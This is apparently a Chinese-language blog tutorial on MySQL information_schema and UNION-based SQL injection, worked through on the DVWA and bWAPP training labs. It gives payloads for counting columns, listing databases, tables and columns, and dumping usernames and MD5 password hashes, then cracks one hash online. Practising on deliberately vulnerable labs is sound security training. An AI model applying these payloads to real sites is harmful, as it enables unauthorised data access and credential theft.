先来了解一下数据库
默认会有四个库
information_schemamysql:保存账户信息,权限信息,存储过程,event,时区等信息performance_schema:用于搜集数据库服务器性能参数test这里主要介绍
test
information_schema库
information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。感觉information_schema就像是MySQL实例的一个百科全书,记录了数据库当中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。
几个重要的表和字段:
SCHEMATA表存储用户的数据库库名,记录的值位于SCHEMA_NAME列。
COLUMNS表存储着数据库的库名、表名和字段名。对应的字段为TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME。
USER_PRIVILEGES表存放用户的权限GRANTEE
TABLES表记录着数据库名和数据库下的表名,TABLE_SCHEMA、TABLE_NAME分别记录着数据库库名和表名。
在不知道数据库结构的情况下,可通过读取这些表梳理个表之间的关系,一般的步骤为。
SELECT
schema_name from information_schema.SCHEMATA #查库
SELECT
TABLE_name from information_schema.TABLES
WHERE TABLE_schema=‘库名’ #查表
SELECT
COLUMN_NAME FROM information_schema.COLUMNS
where table_name=‘表名’ #查列
SELECT 列名 FROM 库名.表名 #查数据
几个小技巧
所有类型的SQL注入,都是基于查库、表、列语句(包括不限于URL中,Header头中,body中)
如果数据太多,导致无法返回结果:使用limit限定返回的数量和位置,依次查询,或使用concat连接多个数据成为一条返回结果
某些场景下,想要快速获得数据,借助工具,如:BurpSuite
一、dvwa sql注入实战
级别low
1、猜列
一开始输入17发现找不到最终12 1‘ union select 1,2# 成功,有两列
查看版本 1’union
select database(),version()#
1’
union select 1,concat(@@datadir,@@basedir,@@version_compile_os)#
2、查看库
查看information_schema库的SCHEMATA表
1’union
select 1,schema_name from information_schema.SCHEMATA #
共有六个,接下来就以dvwa为例注入
3、查看表
1’union
select TABLE_SCHEMA,TABLE_NAME from information_schema.tables#
可知dvwa库有两个表users(我们的目标),guestbook
4,查看字段
1’union
select concat(TABLE_SCHEMA,TABLE_NAME),COLUMN_NAME from
information_schema.COLUMNS where table_schema = ‘dvwa’#
找到了users表下的user和password字段
5、查看字段
1’union
select user,password from dvwa.users#
找到ID:
1’union select user,password from dvwa.users#
First name:
admin 正是我dvwa用户名
Surname:
5f4dcc3b5aa765d61d8327deb882cf99 将MD5值复制去https://www.cmd5.com解密
:password
接下来是medium级别
打开hackbar
在post data选项操作即可
将id=1&Submit=Submit修改为id=2试试,成功
接下来在post
data选项执行注入语句试试
注入刚才low级别最后的语句试试,在post data输入id=1 union select user,password
from dvwa.users&Submit=Submit 点击Execute,成功
high级别,在弹出的框里输入刚才最后的注入语句试试,1’union select user,password from dvwa.users# 成功
二、bwapp注入
级别low
选择sql注入
查看列最终得到7列
1’union
select 1,2,3,4,5,6,7#
操作和dvwa一致,需要凑够7列,但是默认显示5列,而且最后不能为数字,所以需要将语句与数字配合使用
这里直接查看bwapp库的表和字段:1’union select 1,1,table_schema,table_name,column_name,1,1 from
information_schema.columns where table_schema=‘bwapp’# 成功,发现login和password
查看字段1’union
select 1,login,password,1,1,1,1 from bWAPP.users# 成功
然后解密MD5值即可